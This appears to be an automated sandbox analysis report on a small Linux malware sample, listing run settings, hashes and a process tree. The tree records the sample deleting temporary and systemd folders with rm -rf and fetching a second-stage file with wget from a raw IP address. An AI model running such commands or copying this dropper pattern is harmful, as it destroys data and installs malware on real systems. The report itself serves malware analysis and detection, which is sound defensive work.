Analysis
- max time kernel
131s - max time network
133s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260126-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260126-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
03/05/2026, 15:07
Static task
static1
Behavioral task
behavioral1
Sample
cf1320b7b2f57c565d6248a760bbf34b0c69341b65a080938b12df88e061077c.bin
Resource
ubuntu1804-amd64-20260126-en
0 signatures
150 seconds
Behavioral task
behavioral2
Sample
cf1320b7b2f57c565d6248a760bbf34b0c69341b65a080938b12df88e061077c.bin
Resource
debian9-armhf-20260127-en
0 signatures
150 seconds
Behavioral task
behavioral3
Sample
cf1320b7b2f57c565d6248a760bbf34b0c69341b65a080938b12df88e061077c.bin
Resource
debian9-mipsbe-20260126-en
0 signatures
150 seconds
Behavioral task
behavioral4
Sample
cf1320b7b2f57c565d6248a760bbf34b0c69341b65a080938b12df88e061077c.bin
Resource
debian9-mipsel-20260126-en
0 signatures
150 seconds
General
- Target cf1320b7b2f57c565d6248a760bbf34b0c69341b65a080938b12df88e061077c.bin
- Size 3KB
- Sample260503-shdlsaby4t
- SHA256 cf1320b7b2f57c565d6248a760bbf34b0c69341b65a080938b12df88e061077c
- MD5 175cf95f9f58d11e5765bf559b5e8eb6
- SHA1 7731449d95734ba81a96bcee286886e716f96c33
- SHA512 e2fe69c39492c5dbf0175c2d9351cb633ec5110161c48556a607273f437b744e14ccc83cf2555eccd4ebe7caa59b8b6dfd38ac6f220bbf8f22389ec72c000b99
- TLSH T1627163F8F9B49932314EDA2DB3680994998F5DBB38F83978D59B8D11290D848730DB73
- MD5 SHA1 SHA512 TLSH
Score
1/10
Malware Config
Signatures
Processes
-
/tmp/cf1320b7b2f57c565d6248a760bbf34b0c69341b65a080938b12df88e061077c.bin/tmp/cf1320b7b2f57c565d6248a760bbf34b0c69341b65a080938b12df88e061077c.bin1⤵PID:1526
-
/bin/rmrm -rf /var/tmp/systemd-private-d644a617df734cc5b3d1728a208accef-bolt.service-R9ZWj9 /var/tmp/systemd-private-d644a617df734cc5b3d1728a208accef-colord.service-VGZwag /var/tmp/systemd-private-d644a617df734cc5b3d1728a208accef-ModemManager.service-RW2nHo /var/tmp/systemd-private-d644a617df734cc5b3d1728a208accef-systemd-resolved.service-D8cuyA /var/tmp/systemd-private-d644a617df734cc5b3d1728a208accef-systemd-timedated.service-OaAdpG2⤵PID:1527
-
-
/bin/rmrm -rf /tmp/. /tmp/.. /tmp/.font-unix /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix2⤵PID:1528
-
-
/usr/bin/wgetwget -q http://121.37.40.52/a2⤵PID:1529
-